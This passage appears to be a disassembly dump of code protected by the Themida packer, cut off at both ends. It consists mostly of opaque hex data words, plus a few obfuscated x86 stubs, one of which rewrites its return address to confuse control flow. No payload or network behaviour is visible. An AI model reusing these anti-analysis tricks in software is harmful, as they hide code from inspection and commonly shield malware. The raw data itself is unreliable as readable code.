6806130Ch, 104h, 13E9h dd 567EF400h, 0A55A762Fh, 0D05BC954h, 15666A67h, 0E6ECE940h dd 178D9D8Dh, 9D310613h, 6131631h, 38F0F53h, 0F000000h dd 9D01D6BFh, 6133121h, 6660D0FFh, 0A471D281h, 0FE9h, 0A9C33800h dd 7C3F52A4h, 9FBB0B8Bh, 30526748h, 8D858D61h, 0F061317h dd 58Bh, 692AB900h, 29502FCAh, 13063595h, 72858D06h, 6A0615FEh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0E898C355h, 9, 9C4530B7h, 0FE6D2A5Dh, 39952363h dd 5906130Ah, 68B0Fh, 8D0B0000h, 6132C49h, 0F5958950h dd 6006131Ch, 0EE9h, 65BE5C00h, 0A41C3797h, 6760CE67h dd 89A5E7BAh, 1330F185h, 858D6106h, 615F545h, 6A50D68Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 70B9C357h, 0AAAE259Eh, 995B00EFh, 66CE8B66h dd 0FF5596B9h, 13118595h, 8D89F906h, 61314EDh, 530CC483h dd 0A399D89h, 6A5F0613h, 806800h, 36A0000h, 6A006Ah, 68h dd 45858D80h, 500615F5h, 1B9D95FFh, 85890613h, 615FE55h dd 11E185C6h, 68470613h, 0C7B15E87h, 116DB5FFh, 858D0613h dd 6133AADh, 6AD0FFh, 0FE55B5FFh, 0D0FF0615h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 79C35646h, 1953162h dd 9061310h, 130C3185h, 37D03D06h, 830F0000h, 28h, 34F239B9h dd 55B5FF79h, 0F50615FEh, 120995FFh, 8D0B0613h, 6130C69h dd 0B2E9h, 419D8900h, 0BF06130Ah, 5A6BA66Ah, 0FE55B5FFh dd 0D78B0615h, 120995FFh, 30B50613h, 10E9006Ah, 12000000h dd 4A6E2A64h, 5DCBC704h, 0A25769CFh, 6A30E161h, 68A0F00h dd 89000000h, 130E298Dh, 8B006A06h, 0E9006AD7h, 0Ch, 4DE38159h dd 0F030DC51h, 24DB26B1h, 6A006Ah, 8DCFC580h, 15FE5985h dd 458D8B06h, 8B061330h, 130B6995h, 6A5006h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 468533C3h dd 0C03821E2h, 810FD38Bh, 6, 0D5A8EF81h, 95FF5CE3h, 6131B9Dh dd 0FFFF883h, 0E985h, 8DD18B00h, 15B91285h, 5952B06h, 0FF061313h dd 319D89D0h, 6A06130Dh, 5E900h, 3E0B0000h, 89D1B54Bh dd 1322B98Dh, 8A006A06h, 75B589D1h, 6A061311h, 463ABA00h dd 6A2FC5h, 6AC8B70Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 2997871Fh, 6A8B97h, 10E9h dd 0FE0D8100h, 78E60903h, 0DC67D2A6h, 28BD378Eh, 59858D66h dd 290615FEh, 131EDDBDh, 8A505006h, 95FF59CAh, 6131B9Dh dd 6880Fh, 8D8B0000h, 61328DDh, 0FFFF883h, 4585h, 0D68B6600h dd 0F861B58Dh, 860F0615h, 5, 0F0CFE8B9h, 4D858D31h, 0F0615A3h dd 0D0FFCABFh, 7C58D89h, 6A0613h, 12D9958Bh, 0B5890613h dd 6131BA1h, 1CBD95FFh, 820F0613h, 6, 0B414E181h, 8589058Ah dd 615FE55h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 69C35545h, 8DF9006Ah, 15FE4D85h, 659D0906h, 5006130Ah dd 81F28052h, 0B9046A59h, 17DA9148h, 29C5858Dh, 0E3B50613h dd 56006A50h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 69F25C7Dh, 80163E5Ch, 79BD318Bh, 6A061319h dd 1026BA00h, 6A21A1h, 6A77E580h, 53006A01h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0FC9DBE44h dd 0C271AF50h, 55B5FF5Eh, 0B10615FEh, 5195FF86h, 6A06130Ch dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 15EDC355h, 535D8705h, 71E9F8B1h, 8900001Bh dd 132EBD95h, 66C08B06h, 838CBDB9h, 131625BDh, 9750006h dd 2C81BD83h, 74000613h, 8B535019h, 7D2B8C0h, 85890000h dd 6130D7Dh, 0A97D9D8Dh, 0D3FF0615h, 0BD83585Bh, 6132C81h dd 50177400h, 7D2B853h, 85890000h, 6130D7Dh, 0A66C9D8Dh dd 0D3FF0615h, 8060585Bh, 0D78B85E9h, 0FC08B61h, 382h dd 0D38B6600h, 173D85C7h, 10613h, 85090000h, 61330A1h dd 0E4E7B868h, 0C9B5FFCEh, 8D061307h, 133AAD85h, 89D0FF06h dd 1312FD85h, 0B1858D06h, 50061600h, 36E858Dh, 68500616h dd 80000001h, 12FD95FFh, 0C00B0613h, 85C70A75h, 6130F0Dh dd 1, 5DBD468h, 0C9B5FFC0h, 8D061307h, 133AAD85h, 89D0FF06h dd 13119185h, 0FE858D06h, 500615F2h, 116DB5FFh, 95FF0613h dd 6131315h, 0B74C00Bh, 858DD88Bh, 61602B1h, 8DD3FF50h dd 1602B185h, 38836606h, 0C70A7509h, 13150585h, 106h, 7195FF00h dd 25061330h, 0FFh, 7305F883h, 2D85C70Ah, 1061321h, 0B6000000h dd 0D9958B61h, 8006130Ah, 15FEC0BDh, 840F0006h, 16h, 2860Fh dd 0D38A0000h, 36ABD83h, 0F000616h, 0C84h, 1DE9F800h, 8B00001Ah dd 131749BDh, 5BD8306h, 61315h, 9B850Fh, 8D8B0000h, 6130031h dd 0FE8A858Dh, 0B9660615h, 0B9500669h, 63400F16h, 0BD8B016Ah dd 6132F9Dh, 6A5FF852h, 0DE900h, 15B20000h, 7294FFF4h dd 0C2063A82h, 6ADE17EDh, 0C7816600h, 0B589E9E3h, 61315E1h dd 128995FFh, 0B5010613h, 6132509h, 0FEB48589h, 6A0615h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0E2E4EC3h, 559D3360h, 5306131Dh, 615A5A57h, 0B70FFF6Ah dd 0B4B5FFCAh, 0B20615FEh, 0AD95FFD2h, 60061331h, 1EE1B589h dd 1CB70613h, 0C5858D61h, 570615F2h, 11E9h, 6190B600h dd 43F29EC7h, 7E27A3FAh, 2E300A7h, 505A4333h, 62D28166h dd 0ED95FF84h, 29061311h, 1319C99Dh, 81858906h, 8906132Fh dd 15F34F85h, 0D7B70F06h, 7E9h, 9700DB00h, 45316028h, 0F2D2858Dh dd 0CA800615h, 0E18D01B4h, 50061316h, 0A1BD8960h, 0E9061309h dd 0Ah, 3146D29Fh, 0C5539173h, 0FF61C88Fh, 15F34FB5h, 0F5952306h dd 8B061330h, 131B8D95h, 1595FF06h, 0E8061313h, 5, 69A561BEh dd 8195010Dh, 5F061329h, 1B98589h, 0BD890613h, 6130A0Dh dd 0F340858Dh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 6DF99DC3h, 0D78B66CBh, 0FB8B6650h dd 0F34FB5FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0DCCDEDC3h, 817EF96Ch, 11499D89h dd 95890613h, 6130B19h, 4CD8D29h, 95FF0613h, 6131315h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E5C35040h dd 0E774666Bh, 746AAD0Fh, 85BF668Bh, 0E7D181D7h, 566B29FAh dd 18A98D31h, 895F0613h, 15F36385h, 858DFC06h, 615F31Fh dd 0BAF9DF81h, 12B52DCDh, 55006A50h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 664C57C3h dd 0A950C781h, 0F34FB5FFh, 6A0615h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 4E9F11C3h dd 0FF42D399h, 13131595h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 1B8E6C9h, 122D1902h, 858994A6h, 615F35Bh dd 3169BD09h, 858D0613h, 615F312h, 1398D29h, 80500613h dd 0B5FF9AD5h, 615F34Fh, 0AE9h, 96783600h, 0A1A2A58h, 0FF94A210h dd 13131595h, 0AFD98006h, 0F35F8589h, 95290615h, 6131259h dd 0F32D858Dh, 0CE90615h, 2000000h, 0BC0A9E0Fh, 0A5F6020Ch dd 50F3D1F8h, 14E9h, 4B6F9200h, 0E210CA74h, 0AF41D4BBh dd 0BA9FDD58h, 1110EFh, 4FB5FF2Dh, 660615F3h, 2AB9F281h dd 1595FFFCh, 66061313h, 898BE1BAh, 13013D85h, 9E806h dd 79040000h, 97029FF5h, 894CF93Ah, 1331D98Dh, 66605A06h dd 6012C181h, 34C19D01h, 8D610613h, 15F2E185h, 0D1958B06h dd 50061325h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 9DC35646h, 0F98C3707h, 0EE2D55Eh, 39D1812Fh, 0FF3BF3F4h dd 15F34FB5h, 95FFFC06h, 6131315h, 8589CB8Bh, 615F353h dd 1EE78166h, 0F0858DE4h, 0E80615F2h, 12h, 0EFEC40F2h dd 96A35B72h, 0A0CAA421h, 0AB4E81AAh, 52533ABEh, 505F5F5Fh dd 12F98D8Bh, 0B5FF0613h, 615F34Fh, 13E9h, 0CFDEF500h dd 7ACE21E0h, 9DA59DD1h, 0CE3BAB11h, 7B4D3DECh, 131595FFh dd 0BF0F0613h, 578589CBh, 810615F3h, 0DA569BD1h, 1046831h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0E4DF58C3h, 8B163113h, 1323A18Dh, 0E7858D06h dd 8B0615F3h, 13172DBDh, 198D0106h, 50061311h, 858DD78Bh dd 615F4EBh, 1518529h, 0F8500613h, 1B1595FFh, 6A0613h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 5B5768C3h, 28C75B16h, 50989770h, 12E960h, 51350000h dd 9496BC94h, 0F64BD5Bh, 0EEF72340h, 82819643h, 5A616160h dd 850FC085h, 28h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 0FC35141h, 8BE76349h, 132161BDh, 0D2BF0F06h dd 0FEC0BD80h, 0F000615h, 1D85h, 29958B00h, 0E9061319h dd 1558h, 0D18D8B56h, 59061311h, 5E9h, 951B0300h, 0BD837FF4h dd 6131505h, 6C850F00h, 0E9000000h, 13h, 0D8849313h, 0D9AD8CCBh dd 903F96C9h, 0D9A02F70h, 839AFDC6h, 16036ABDh, 840F0006h dd 87h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h dd 83C35646h, 0AE8h, 0CEBD1500h, 9E9E7BEh, 0E890DE5Ch dd 0Ah, 0FE07DEBDh, 6A7AF155h, 800F009Bh, 0 ; --------------------------------------------------------------------------- pop edi pop edi mov ecx, 220DB50h lea eax, [ebp+615F384h] push 0 push edx call sub_5ADDF0 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ADDF0 proc near ; CODE XREF: Themida_:005ADDE8p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5ADDF0 endp ; --------------------------------------------------------------------------- dd 0A30C0B7Eh, 1D2F6391h, 0E1EA8166h, 149AE944h, 8D290000h dd 61301E5h, 15E9h, 8D7FB100h, 15F36F85h, 58B0F06h, 0B9000000h dd 28DCD68h, 6A509EB6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 7FD3C353h, 8DBA35ACh dd 15F3E785h, 0B5896006h, 6131F75h, 8C0Fh, 50610000h, 0D2E78166h dd 5BD83F0h, 61315h, 41840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 15296C3h dd 132B3585h, 858D5906h, 615F50Dh, 1DADBD8Bh, 958B0613h dd 6132201h, 17E9h, 0BD9D8900h, 8D06132Eh, 15F4F685h, 5890F06h dd 66000000h, 167DD781h, 0E9EC8A50h, 0Dh, 31CC96C4h, 0FFFCB219h dd 847D6A2Ch, 45858D12h, 500615F5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 85C35545h, 9CEA78Ch, 130A598Dh dd 8595FF06h, 6A061311h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 21ABC357h, 3BA9C27h dd 8307AD29h, 8F0F10C4h, 6, 25DD9589h, 0C08B0613h, 0B35BD8Bh dd 0BD830613h, 6131625h, 83097500h, 132C81BDh, 19740006h dd 0C08B5350h, 7D3B8h, 7D858900h, 8D06130Dh, 15A97D9Dh dd 5BD3FF06h, 81BD8358h, 6132Ch, 53501774h, 7D3B8h, 7D858900h dd 8D06130Dh, 15A66C9Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 77EA9987h dd 25E4D9DEh, 0BD29EECCh, 6131A99h, 0EE8h, 4C049900h, 0D2E2F1EDh dd 50777C2Bh, 0FEE4810h, 580h, 0E141BA00h, 8B5952C7h, 52006AC0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 1E7549A9h, 274B6002h, 6FBD8116h, 6F0615F3h, 0F616572h dd 0A684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 403BD501h, 0BC2E981h, 858D682Fh dd 615F3E7h, 24858D50h, 500615F5h, 0F545858Dh, 0FF500615h dd 13118595h, 0CC48306h, 11E185C6h, 68440613h, 96A3184Fh dd 116DB5FFh, 858D0613h, 6133AADh, 0D88BD0FFh, 0F545858Dh dd 0FF500615h, 6F858DD3h, 500615F3h, 0F3E7858Dh, 83500615h dd 131505BDh, 8740006h, 0F50D858Dh, 6EB0615h, 0F4F6858Dh dd 8D500615h, 15F54585h, 95FF5006h, 6131185h, 8A10C483h dd 0C5BD89CCh, 0FF061320h, 13307195h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 558F0858h, 0E1714CC8h, 0FF25F820h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 61E2C351h, 5F883A1h, 64830Fh, 11E80000h, 86000000h dd 0E0235BF2h, 0FE8D1635h, 37B9FE83h, 0E2AD377Eh, 0A5E28166h dd 85C75F39h, 613212Dh, 1, 13E9h, 3D36E000h, 0CCBE655Fh dd 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h, 0F3A3858Dh, 0C9800615h dd 74E9F525h, 0E8000000h, 0Bh, 0E75F6FE6h, 3D706EF0h, 89372EA9h dd 1316BD85h, 0BD835A06h, 6131505h, 28840F00h, 60000000h dd 1F4D958Bh, 0F2810613h, 6D672087h, 9AEABF61h, 858D4324h dd 615F3CEh, 0F4D3B966h, 2EE9h, 0D8D8B00h, 8D061315h, 15F3B085h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 518D8B2Fh, 8906132Ah, 15F3E385h, 0FFB8B06h dd 280h, 83EEB500h, 131505BDh, 850F0006h, 1Fh, 1FB5958Bh dd 0D2810613h, 1D07B092h, 36ABD83h, 0F000616h, 1684h, 0A5BD2300h dd 0E9061310h, 1094h, 6DC068BFh, 6D9D8913h, 0E9061321h dd 493h, 8BC88B66h, 50006AC0h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0DF2D146Ah, 45BF53E3h dd 95895781h, 6130B05h, 1625BD83h, 75000613h, 81BD8309h dd 6132Ch, 53501974h, 0D4B8C08Bh, 89000007h, 130D7D85h dd 7D9D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh, 17740006h dd 0D4B85350h, 89000007h, 130D7D85h, 6C9D8D06h, 0FF0615A6h dd 66585BD3h, 0B9F006BFh, 5CE31E5Dh, 6AC08Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A40981C3h dd 4E856B32h, 895F4867h, 1301FDB5h, 0E9816606h, 3F686973h dd 80000F00h, 6A0DD5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 9AC35646h, 0CB4AEF94h, 28D0F96h, 0B1000000h dd 3006A8Dh, 1323218Dh, 0B995FF06h, 8B061301h, 13195995h dd 0FC08506h, 85h, 67858900h, 0E80615F3h, 7, 7FB625F6h dd 51FD6769h, 6A595FF5h, 47D78100h, 6A054D97h, 0DDBD8900h dd 6A061304h, 6AF500h, 1331BD8Bh, 6A0613h, 0AE9h, 234A3700h dd 91BC8581h, 8DD0E5C6h, 15F54585h, 0E18D8B06h, 50061316h dd 68A0Fh, 0BD8B0000h, 6130709h, 0BD0B016Ah, 6131E55h dd 6A016Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 877C5BC3h, 5E82Ah, 5EC40000h, 8931D8BAh dd 13128D9Dh, 16A5F06h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 3DC35242h, 0F01FF68h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0D56E0F52h, 19F28072h, 1B99BD8Bh, 0BD830613h, 6131505h dd 25840F00h, 0F9000000h, 0F3C4858Dh, 0EE90615h, 40000000h dd 0B4E9F88Dh, 5BF51D38h, 2F2A877Ch, 0EE9FAh, 958B0000h dd 6132989h, 0F39A858Dh, 5A570615h, 0A59D8950h, 5006132Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BCC35141h dd 891121EDh, 1317118Dh, 11858906h, 0FF061314h, 15F367B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0B96655A1h, 95FF76CBh, 615F353h, 9D8B60FCh dd 6130A35h, 22ADB58Bh, 85610613h, 0B850FC0h, 66000000h dd 56E9CB8Bh, 0F000000h, 8589C9B7h, 615F36Bh, 0B5FFEA8Ah dd 615F36Bh, 8E9h, 0E72E9900h, 79EC8A99h, 3D95FFCDh, 66061301h dd 850F4DBFh, 26850FC0h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 33A4C352h dd 89D73A3Dh, 132A3D9Dh, 8B106A06h, 130B1D8Dh, 0FE96006h dd 61000000h, 7C5033E9h, 0C816B62Ah, 51EDAC77h, 0B58B04FCh dd 6130021h, 5BD8361h, 61315h, 4B840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0D735A3C3h, 59C5CDACh, 0BA6046C7h, 637EBBC5h, 61F1B70Fh dd 63CF8166h, 0C4858D81h, 560615F3h, 24919D29h, 0E9590613h dd 0Dh, 0E5EF8166h, 9A858DADh, 0B10615F3h, 8D8B5010h, 613193Dh dd 0F367B5FFh, 0B5010615h, 61324F9h, 0F35F95FFh, 6A0615h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 921E05C3h, 8B6667A8h, 0FC085D0h, 2285h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 25CF8101h, 890EF251h, 15F36B85h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 302C6DC0h dd 0DDB38E20h, 6660006Ah, 6A61C28Bh, 0FFDBB500h, 15F36BB5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0C8563153h, 16564737h, 20F59509h, 95FF0613h dd 615F357h, 0C085CB8Ah, 6850Fh, 0F1810000h, 5B21ED4h dd 0F36BB5FFh, 850F0615h, 16h, 10800Fh, 0BE90000h, 4F000000h dd 6F7B428Ah, 785CE3DAh, 95FF814Ch, 613013Dh, 0C3BF66F9h dd 0FC0850Bh, 685h, 19852900h, 6A061312h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0E9D725D1h, 0Dh, 0D0B01AF8h, 0CC6ED4A2h, 8DD8E669h dd 0EEBF6600h, 8068B6h, 958B0000h, 61330B5h, 8D29036Ah dd 6132841h, 8B66006Ah, 0E8006ACFh, 9, 50146F55h, 9B735357h dd 0FB8B66ABh, 685Fh, 6AC000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 0B5FF19C3h, 615F3E3h dd 1B9D95FFh, 0BD890613h, 6131091h, 0FFFF883h, 4D685h dd 10E900h, 13870000h, 0AAE45CAh, 35B5472Ch, 3E269AC9h dd 85FF29B8h, 615FE51h, 83FE8B66h, 15FE51BDh, 840F0206h dd 390h, 243B858Dh, 8166005Bh, 0FF467CDAh, 38E980D0h, 1E8E858Dh dd 9589005Bh, 6130B75h, 0FE9h, 2A73B400h, 22C57A3h, 0A78F6AD6h dd 50D1B7DBh, 8D8BD0FFh, 6132879h, 8166C08Bh, 830E93D9h dd 131625BDh, 9750006h, 2C81BD83h, 74000613h, 8B535019h dd 7D8B8C0h, 85890000h, 6130D7Dh, 0A97D9D8Dh, 0D3FF0615h dd 0BD83585Bh, 6132C81h, 50177400h, 7D8B853h, 85890000h dd 6130D7Dh, 0A66C9D8Dh, 0D3FF0615h, 0BD03585Bh, 6130E09h dd 8D33C08Bh, 6131E41h, 0F003F68h, 84BA6600h, 8A006A96h dd 68B0FF3h, 89000000h, 1306D9B5h, 6A006A06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0E789C356h, 198D8B0Ah, 0FF061301h, 1301B995h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0C085B325h, 0C9BD3151h, 5F06131Bh, 0F3678589h, 0F88B0615h dd 0F01FF68h, 0E98D3300h, 83061313h, 131505BDh, 840F0006h dd 57h, 6D858B60h, 0FC061323h, 8DCF8B61h, 15F3C485h, 0D2BF0F06h dd 44E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 25C354A7h, 0F129031h, 687h, 0E9852900h dd 0E906132Ch, 0Bh, 314EE7CDh, 0D83C17CBh, 8D6CFB93h, 15F39A85h dd 6A5006h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0CE811C3h, 0BE000000h, 43840C5Eh, 84E1AD24h dd 6677AA86h, 2A62F281h, 67B5FF59h, 0F0615F3h, 158Dh, 10E900h dd 0A4120000h, 0EDBE148Dh, 4AB636FBh, 93EC647Ch, 95FF4D2Fh dd 615F35Fh, 6850Fh, 0B5890000h, 61312A1h, 0F36B8589h dd 0FE80615h, 44000000h, 4D8FF04Eh, 93C61745h, 0BFD99B29h dd 9D898C8Bh, 61324D5h, 5185C75Fh, 61315h, 0BF000000h dd 536A5C26h, 83CF8B66h, 15F36BBDh, 840F0006h, 15Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B6C35141h, 1897F0A6h dd 858DA6DAh, 615F649h, 2C3D8D03h, 60B90613h, 501D146Dh dd 3485952Bh, 16A0613h, 2C9DBD8Bh, 0BD8B0613h, 6132BA1h dd 0F36BB5FFh, 14E90615h, 52000000h, 81FE9B38h, 5C72D65Ah dd 3876DD79h, 3D2C08FFh, 0FF96E20Dh, 15F36395h, 0B1BD8906h dd 0FF061318h, 15F36BB5h, 0CFB70F06h, 13D95FFh, 0C7810613h dd 436CBCF0h, 0F01FF68h, 0DBD8B00h, 83061315h, 131505BDh dd 840F0006h, 1Ch, 8DD0B70Fh, 15F3C485h, 41858906h, 0E9061300h dd 11h, 0BD8BF98Bh, 6133265h, 0F39A858Dh, 0EA800615h, 0B5FF50B9h dd 615F367h, 0F35F95FFh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 67CA45C3h, 62EC2544h dd 9BD9D89h, 85890613h, 615F36Bh, 94DBD8Bh, 0B5FF0613h dd 615F36Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0E3C35040h, 0D649584Bh, 0CAD028A7h, 5B95FF04h dd 310615F3h, 130E918Dh, 218D8906h, 0FF061328h, 15F36BB5h dd 5E906h, 0FE200000h, 0FFBA69B8h, 13013D95h, 0F8B70F06h dd 0FFF71EE9h, 816657FFh, 597187F1h, 0FEB4B5FFh, 6A0615h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0D4059C3h, 0FEF8166h, 8995FFB2h, 8906131Dh, 13095595h dd 95858B06h, 0BA06131Bh, 13854D3Fh, 55DE9h, 318D8900h dd 8D06130Ch, 15F669B5h, 4D858D06h, 6A0615A3h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0B7E4C356h, 0EF92B2BFh, 0E9D0FF3Ah, 0Ch, 5B7CEF16h dd 8EB447C5h, 69908EFFh, 958B006Ah, 6130935h, 1CBD95FFh dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 232FC9C3h, 0C4325F54h, 0E580A830h, 8B64B2FDh dd 6E9F3h, 8D5D0000h, 0B2BF0AB3h, 0A34D858Dh, 9D890615h dd 61321B9h, 0CE8h, 0E409C100h, 37C44795h, 17901C23h, 5E96Bh dd 3F8B0000h, 5A31433Fh, 0BE9D0FFh, 2C000000h, 0AD315863h dd 64CB702Ch, 6ABC4Dh, 12F1BD8Bh, 95FF0613h, 6131CBDh dd 8BD18B66h, 0BD83F8C0h, 6131625h, 83097500h, 132C81BDh dd 19740006h, 0C08B5350h, 7D9B8h, 7D858900h, 8D06130Dh dd 15A97D9Dh, 5BD3FF06h, 81BD8358h, 6132Ch, 53501774h dd 7D9B8h, 7D858900h, 8D06130Dh, 15A66C9Dh, 5BD3FF06h dd 99958958h, 0F06131Eh, 686h, 33E78100h, 8B306AE0h, 50F78AC0h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 97C35545h dd 892B7EC3h, 1321498Dh, 1D88B06h, 131E619Dh, 9D8D5306h dd 613065Dh, 389038Bh, 8950438Bh, 9D8D5043h, 615FE4Dh dd 389038Bh, 0CC6FB95Bh, 8B6670DEh, 0F006ACFh, 8D8BCBBFh dd 6131145h, 0FE4D858Dh, 50F90615h, 16E19D89h, 606A0613h dd 31619589h, 858D0613h, 613065Dh, 50D78B66h, 8D8B90B1h dd 61316B5h, 0B70F006Ah, 8B006ACBh, 1331E58Dh, 18006806h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 8971D6C3h, 132301BDh, 8B505306h, 1305ED95h dd 95FF5F06h, 6130C51h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 6DC35646h, 0C09EA5C4h, 58F021AAh, 0FFD2B70Fh dd 13120995h, 158D8B06h, 0FF061309h, 15FEB4B5h, 698D8B06h dd 0FF06132Bh, 131D8995h, 0C9853106h, 8D06131Ah, 13065D85h dd 29958B06h, 8B06131Dh, 6A1840h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0FC76B9C3h, 0F962CDC3h dd 0AA585C7h, 613h, 80560000h, 835A7BCDh, 131505BDh, 840F0006h dd 47h, 31458D8Bh, 8C3D0613h, 0F000000h dd 1B583h, 12D98100h, 0E9343B7Fh, 3Ch, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0EAC35141h, 0F1EC42F5h, 8B74D173h dd 13349DBDh, 3DF88B06h, 98h, 174830Fh, 8D8B0000h, 6130781h dd 243B858Dh, 6A005Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0D0FF6CC3h, 2B2D8501h, 858D0613h dd 5B1E8Eh, 0DDC18166h, 0D18B66B1h, 6AD0FFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0FD4921C3h dd 38C47AB3h, 758D8B0Dh, 8B061310h, 0FE8B66C0h, 1625BD83h dd 75000613h, 81BD8309h, 6132Ch, 53501974h, 0C6B8C08Bh dd 8900000Bh, 130D7D85h, 7D9D8D06h, 0FF0615A9h, 83585BD3h dd 132C81BDh, 17740006h, 0C6B85350h, 8900000Bh, 130D7D85h dd 6C9D8D06h, 0FF0615A6h, 8B585BD3h, 1309EDBDh, 0CA8B6606h dd 5E8C08Bh, 9B000000h, 0F4883E76h, 0FFF8835Ah, 7C850Fh dd 0C7F50000h, 13233985h, 6, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 11BE913h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 3F8EF4C3h, 46FABCD8h, 860FC1A9h, 0 ; --------------------------------------------------------------------------- movzx ecx, bx jmp loc_5AEFB4 ; --------------------------------------------------------------------------- or [ebp+6133161h], esi jmp loc_5AEF9A ; --------------------------------------------------------------------------- db 95h dd 0CA6BE949h, 4F48F7ADh, 0D0C93B7Ch, 0D4994965h db 1Fh, 0DAh ; --------------------------------------------------------------------------- loc_5AEF9A: ; CODE XREF: Themida_:005AEF82j cmp eax, 1 jnz loc_5AEFB4 mov edx, [ebp+6132A05h] jmp loc_5AF0B6 ; --------------------------------------------------------------------------- mov ecx, [ebp+6130005h] loc_5AEFB4: ; CODE XREF: 